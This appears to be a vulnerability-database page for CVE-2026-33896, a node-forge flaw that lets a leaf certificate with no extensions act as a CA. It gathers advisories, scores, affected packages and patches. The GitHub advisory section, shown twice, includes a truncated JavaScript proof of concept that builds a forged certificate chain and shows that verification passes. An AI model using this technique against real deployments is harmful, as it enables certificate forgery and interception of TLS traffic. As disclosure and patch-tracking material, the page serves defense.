Every CVE Search/ Get API key

CVE-2026-33896

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

7.4 HighFix available

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.36%Up 0.3 points since Mar 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.4

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Record
CVE-2026-33896
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-295, CWE-295
Updated
2026-11-02
EUVDEUVD-2026-16837 7.4

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Record
EUVD-2026-16837
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-2328-f5f3-gj25 7.4

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log(' …
Record
GHSA-2328-f5f3-gj25
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-295
Updated
2026-11-02
NVD 7.4

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Record
CVE-2026-33896
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-295
Updated
2026-11-02
OSV 7.4

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Record
CVE-2026-33896
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-295
Updated
2026-11-02
OSVGHSA-2328-f5f3-gj25 7.4

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log(' …
Record
GHSA-2328-f5f3-gj25
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-295
Updated
2026-11-02
Show 5 moreShow less
OSVRHSA-2026:24761 7.8

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:24761
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-33896 7.4

CVE-2026-33896 in node-forge - Patched by Root

Root has patched CVE-2026-33896 in the node-forge package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-33896
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-06
OSVUBUNTU-CVE-2026-33896 7.4

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Record
UBUNTU-CVE-2026-33896
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVCLSA-2026-1775176134 No score

TuxCare security update for node-forge (4 CVEs)

TuxCare rebuilt node-forge to address 4 CVEs. Fixed in 0.10.0-tuxcare.6.

Record
CLSA-2026-1775176134
Updated
2026-11-02
OSVCLSA-2026-1791467333 No score

TuxCare security update for node-forge (3 CVEs)

TuxCare rebuilt node-forge to address 3 CVEs. Fixed in 1.3.3-tuxcare.2.

Record
CLSA-2026-1791467333
Updated
2026-11-02

Affected products

Show 7 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
node-forge
npm
through 1.3.3
1.4.0
node-forge
TuxCare:npm
From an advisory covering 4 CVEs
0.10.0-tuxcare.0 up to 0.10.0-tuxcare.6, plus listed versions
0.10.00.10.0-tuxcare.10.10.0-tuxcare.20.10.0-tuxcare.30.10.0-tuxcare.40.10.0-tuxcare.5
0.10.0-tuxcare.6
node-forge
TuxCare:npm
From an advisory covering 3 CVEs
1.3.3-tuxcare.0 up to 1.3.3-tuxcare.2, plus listed versions
1.3.31.3.3-tuxcare.1
1.3.3-tuxcare.2
node-forge
npm
before 1.4.0
1.4.0
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:2.5.20260422-3.el8ap
0:2.5.20260422-3.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:2.5.20260422-3.el9ap
0:2.5.20260422-3.el9ap
python3.12-click
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 16 CVEs
before 0:8.3.3-1.el8ap
0:8.3.3-1.el8ap
python3.12-click
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 16 CVEs
before 0:8.3.3-1.el8ap
0:8.3.3-1.el8ap
python3.12-click
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:8.3.3-1.el8ap
0:8.3.3-1.el8ap
python3.12-click
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 16 CVEs
before 0:8.3.3-1.el9ap
0:8.3.3-1.el9ap
Show 24 moreShow less
Affected packages
PackageAffectedFixed
python3.12-click
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 16 CVEs
before 0:8.3.3-1.el9ap
0:8.3.3-1.el9ap
python3.12-click
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:8.3.3-1.el9ap
0:8.3.3-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:4.6.29-2.el8ap
0:4.6.29-2.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:4.6.29-2.el9ap
0:4.6.29-2.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 16 CVEs
before 0:1.6.5-1.el8ap
0:1.6.5-1.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 16 CVEs
before 0:1.6.5-1.el8ap
0:1.6.5-1.el8ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:2.5.10-6.el8ap
0:2.5.10-6.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:1.6.5-1.el8ap
0:1.6.5-1.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 16 CVEs
before 0:1.6.5-1.el9ap
0:1.6.5-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 16 CVEs
before 0:1.6.5-1.el9ap
0:1.6.5-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:2.6.14-3.el9ap
0:2.6.14-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:1.6.5-1.el9ap
0:1.6.5-1.el9ap
python3.12-cryptography
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 16 CVEs
before 0:46.0.7-1.el8ap
0:46.0.7-1.el8ap
python3.12-cryptography
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 16 CVEs
before 0:46.0.7-1.el8ap
0:46.0.7-1.el8ap
python3.12-cryptography
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:46.0.7-1.el8ap
0:46.0.7-1.el8ap
python3.12-cryptography
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 16 CVEs
before 0:46.0.7-1.el9ap
0:46.0.7-1.el9ap
python3.12-cryptography
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 16 CVEs
before 0:46.0.7-1.el9ap
0:46.0.7-1.el9ap
python3.12-cryptography
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:46.0.7-1.el9ap
0:46.0.7-1.el9ap
python3.12-pillow
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 16 CVEs
before 0:12.2.0-1.el8ap
0:12.2.0-1.el8ap
python3.12-pillow
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 16 CVEs
before 0:12.2.0-1.el9ap
0:12.2.0-1.el9ap
node-forge
Root:npm
before 1.3.1-aikido.5
1.3.1-aikido.50.10.0-aikido.20.7.1-aikido.21.3.3-aikido.30.7.1-aikido.30.7.1-aikido.41.3.3-aikido.40.7.6-aikido.10.10.0-aikido.30.7.1-aikido.50.7.1-aikido.60.7.1-aikido.70.7.6-aikido.21.3.0-aikido.21.3.0-aikido.31.3.0-aikido.41.3.2-aikido.10.9.0-aikido.11.0.0-aikido.11.3.3-aikido.50.9.0-aikido.20.10.0-aikido.41.3.1-aikido.61.3.3-aikido.6
@rootio/node-forge
Root:npm
before 1.3.3-root.io.2
1.3.3-root.io.21.3.1-root.io.41.3.1-root.io.50.7.1-root.io.20.10.0-root.io.20.10.0-root.io.10.7.1-root.io.11.3.3-root.io.30.7.1-root.io.30.7.1-root.io.41.3.3-root.io.40.7.6-root.io.10.10.0-root.io.30.7.1-root.io.50.7.1-root.io.60.7.1-root.io.70.7.6-root.io.21.3.0-root.io.21.3.0-root.io.31.3.0-root.io.41.3.2-root.io.10.9.0-root.io.11.0.0-root.io.11.3.3-root.io.50.9.0-root.io.20.10.0-root.io.41.3.1-root.io.61.3.3-root.io.6
node-node-forge
Ubuntu:20.04:LTS
All versions, plus listed versions
0.8.5~dfsg-20.9.1~dfsg-1
None known
node-node-forge
Ubuntu:22.04:LTS
All versions, plus listed versions
0.10.0~dfsg-31.2.1~dfsg-2
None known

History

History
RecordedChangedSources
affected
affected, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-33896 is a high vulnerability (CVSS 7.4) in Digitalbazaar Forge, published March 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 30th percentile. Fixed in node-forge 1.4.0.

References

Show 114 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open